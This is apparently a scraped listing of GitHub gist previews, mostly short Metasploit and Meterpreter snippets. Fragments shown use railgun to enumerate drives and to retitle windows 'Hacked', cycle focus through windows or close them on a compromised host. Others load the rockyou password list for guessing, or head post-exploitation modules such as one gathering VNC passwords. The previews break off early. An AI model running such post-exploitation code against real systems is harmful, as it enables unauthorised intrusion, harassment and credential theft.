This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a = client.railgun.kernel32.GetLogicalDrives()["return"] | |
# Math magic to convert the binary to letters | |
drives = [] | |
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" | |
(0..25).each do |i| | |
test = letters[i,1] | |
rem = a % (2**(i+1)) | |
if rem > 0 | |
drives << test | |
a = a - rem |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#Latest | |
apt-get update && apt-get upgrade -y | |
#Install Dependencies | |
aptitude -y install build-essential libssl-dev zlib1g zlib1g-dev git git-core subversion screen bison flex jam exuberant-ctags libreadline-dev libxml2-dev libxslt-dev libpcap-dev libmysqlclient-dev libpq-dev libsqlite3-dev autoconf python-software-properties libtool |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <WinInet.h> | |
#include <ntsecapi.h> | |
void writeToLog(const char* szString) | |
{ | |
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); | |
if (NULL == pFile) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
____________ | |
< metasploit > | |
------------ | |
\ ,__, | |
\ (oo)____ | |
(__) )\ | |
||--|| * |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Code loops around each of the windows | |
# that the current user has open and switches | |
# focus to each of them in rotation... 100 times. | |
(0..100).each do |x| | |
windows = client.extapi.window.enumerate | |
windows.each do |winder| | |
if winder[:title] != 'Default IME' | |
result = client.railgun.user32.SetForegroundWindow(winder[:handle]) | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
windows = client.extapi.window.enumerate | |
windows.each do |winder| | |
if winder[:title] != 'Default IME' | |
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked") | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
windows = client.extapi.window.enumerate | |
windows.each do |winder| | |
result = client.railgun.user32.CloseWindow(winder[:handle]) | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namefile = File.new('other-names.txt', 'r') | |
passwordfile = File.new('rockyou.txt', 'r') | |
usercount = 5 | |
names = [] | |
namefile.each_line do |line| | |
names << line.chomp | |
end | |
passwords = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# $Id: $ | |
## | |
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# Framework web site for more information on licensing and terms of use. | |
# http://metasploit.com/framework/ | |
## |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# $Id$ | |
## | |
# post/windows/gather/enum_vnc_pw.rb | |
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# Framework web site for more information on licensing and terms of use. |
OlderNewer